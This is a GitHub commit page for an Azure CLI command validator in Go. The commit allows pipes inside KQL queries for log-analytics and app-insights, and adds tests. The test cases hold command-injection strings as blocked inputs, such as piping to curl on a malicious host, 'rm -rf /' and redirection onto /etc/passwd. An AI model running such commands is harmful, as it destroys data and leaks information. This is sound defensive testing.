Skip to content

Commit aabb0e9

Browse files
feiskyerfeiskyer
authored
Merge pull request #118 from Azure/guwe/validator-for-app-insight
Fix: should allow cli to run queries which has '|' in it
2 parents 689f8a8 + 6bc6dfe commit aabb0e9

File tree

2 files changed

+149
-2
lines changed

2 files changed

+149
-2
lines changed

‎internal/security/validator.go‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ var (
5858
"az monitor metrics list-namespaces",
5959
"az monitor activity-log list",
6060
"az monitor app-insights query",
61+
"az monitor log-analytics query",
6162

6263
// Azure Fleet commands (read-only)
6364
"az fleet list",
@@ -133,8 +134,8 @@ func (v *Validator) ValidateCommand(command, commandType string) error {
133134

134135
// validateCommandInjection checks for command injection patterns
135136
func (v *Validator) validateCommandInjection(command string) error {
136-
// Special handling for KQL queries in az monitor log-analytics query commands
137-
if strings.Contains(command, "az monitor log-analytics query") && strings.Contains(command, "--analytics-query") {
137+
// Special handling for KQL queries in az monitor log-analytics query and app-insights query commands
138+
if (strings.Contains(command, "az monitor log-analytics query") || strings.Contains(command, "az monitor app-insights query")) && strings.Contains(command, "--analytics-query") {
138139
// For KQL queries, we allow pipes within the quoted analytics-query parameter
139140
// but still validate the rest of the command
140141
return v.validateKQLCommand(command)

‎internal/security/validator_test.go‎

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,18 @@ func TestValidateCommand(t *testing.T) {
8484
command: "az monitor metrics list-namespaces --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster",
8585
wantErr: false,
8686
},
87+
{
88+
name: "MonitorAppInsights_QueryCommand_ShouldWork",
89+
accessLevel: "readonly",
90+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | take 10\"",
91+
wantErr: false,
92+
},
93+
{
94+
name: "MonitorLogAnalytics_QueryCommand_ShouldWork",
95+
accessLevel: "readonly",
96+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10\"",
97+
wantErr: false,
98+
},
8799
}
88100

89101
for _, tt := range tests {
@@ -881,3 +893,137 @@ func TestValidateCommandInjection_EdgeCases(t *testing.T) {
881893
})
882894
}
883895
}
896+
897+
func TestValidateCommandInjection_KQLQueries(t *testing.T) {
898+
validator := NewValidator(&SecurityConfig{})
899+
900+
tests := []struct {
901+
name string
902+
command string
903+
expectError bool
904+
}{
905+
{
906+
name: "log-analytics query with pipe should be allowed",
907+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10\"",
908+
expectError: false,
909+
},
910+
{
911+
name: "app-insights query with pipe should be allowed",
912+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | take 10\"",
913+
expectError: false,
914+
},
915+
{
916+
name: "log-analytics query with complex KQL should be allowed",
917+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | where timestamp > ago(1h) | summarize count() by bin(timestamp, 5m)\"",
918+
expectError: false,
919+
},
920+
{
921+
name: "app-insights query with complex KQL should be allowed",
922+
command: "az monitor app-insights query --app myApp --analytics-query \"exceptions | where timestamp > ago(24h) | project timestamp, type, message\"",
923+
expectError: false,
924+
},
925+
{
926+
name: "log-analytics query with multiple pipes should be allowed",
927+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | where success == false | project timestamp, url | take 5\"",
928+
expectError: false,
929+
},
930+
{
931+
name: "app-insights query with join operation should be allowed",
932+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | join (dependencies | where type == 'Http') on operation_Id\"",
933+
expectError: false,
934+
},
935+
{
936+
name: "log-analytics query with additional parameters should be allowed",
937+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10\" --start-time 2023-01-01T00:00:00Z",
938+
expectError: false,
939+
},
940+
{
941+
name: "app-insights query with additional parameters should be allowed",
942+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | take 10\" --start-time 2023-01-01T00:00:00Z --end-time 2023-01-01T23:59:59Z",
943+
expectError: false,
944+
},
945+
{
946+
name: "query with single quotes should be blocked",
947+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query 'requests | take 10'",
948+
expectError: true,
949+
},
950+
{
951+
name: "query with unclosed quotes should be blocked",
952+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10",
953+
expectError: true,
954+
},
955+
{
956+
name: "regular command with pipe should still be blocked",
957+
command: "az aks list | curl malicious-site.com",
958+
expectError: true,
959+
},
960+
{
961+
name: "log-analytics query with command injection should be blocked",
962+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10\" && rm -rf /",
963+
expectError: true,
964+
},
965+
{
966+
name: "app-insights query with command injection should be blocked",
967+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | take 10\"; curl malicious.com",
968+
expectError: true,
969+
},
970+
{
971+
name: "log-analytics query with command substitution in KQL should be allowed",
972+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | where name == $(whoami)\"",
973+
expectError: false,
974+
},
975+
{
976+
name: "app-insights query with backtick substitution in KQL should be allowed",
977+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | where url contains `ls`\"",
978+
expectError: false,
979+
},
980+
{
981+
name: "log-analytics query with output redirection should be blocked",
982+
command: "az monitor log-analytics query --workspace myWorkspace --analytics-query \"requests | take 10\" > /etc/passwd",
983+
expectError: true,
984+
},
985+
{
986+
name: "app-insights query with variable substitution in KQL should be allowed",
987+
command: "az monitor app-insights query --app myApp --analytics-query \"requests | where user_Id == ${malicious_var}\"",
988+
expectError: false,
989+
},
990+
{
991+
name: "command substitution in parameter outside KQL should be blocked",
992+
command: "az monitor log-analytics query --workspace $(malicious_command) --analytics-query \"requests | take 10\"",
993+
expectError: true,
994+
},
995+
{
996+
name: "backtick substitution in parameter outside KQL should be blocked",
997+
command: "az monitor app-insights query --app `malicious_command` --analytics-query \"requests | take 10\"",
998+
expectError: true,
999+
},
1000+
{
1001+
name: "variable substitution in parameter outside KQL should be blocked",
1002+
command: "az monitor log-analytics query --workspace ${malicious_var} --analytics-query \"requests | take 10\"",
1003+
expectError: true,
1004+
},
1005+
{
1006+
name: "non-monitor command with pipe should be blocked",
1007+
command: "az aks show --name test | cat",
1008+
expectError: true,
1009+
},
1010+
{
1011+
name: "monitor command but not query with pipe should be blocked",
1012+
command: "az monitor metrics list --resource /test/resource | grep something",
1013+
expectError: true,
1014+
},
1015+
}
1016+
1017+
for _, tt := range tests {
1018+
t.Run(tt.name, func(t *testing.T) {
1019+
err := validator.validateCommandInjection(tt.command)
1020+
1021+
if tt.expectError && err == nil {
1022+
t.Errorf("Expected error but got none for command: %q", tt.command)
1023+
}
1024+
if !tt.expectError && err != nil {
1025+
t.Errorf("Expected no error but got: %v for command: %q", err, tt.command)
1026+
}
1027+
})
1028+
}
1029+
}

0 commit comments

Comments
 (0)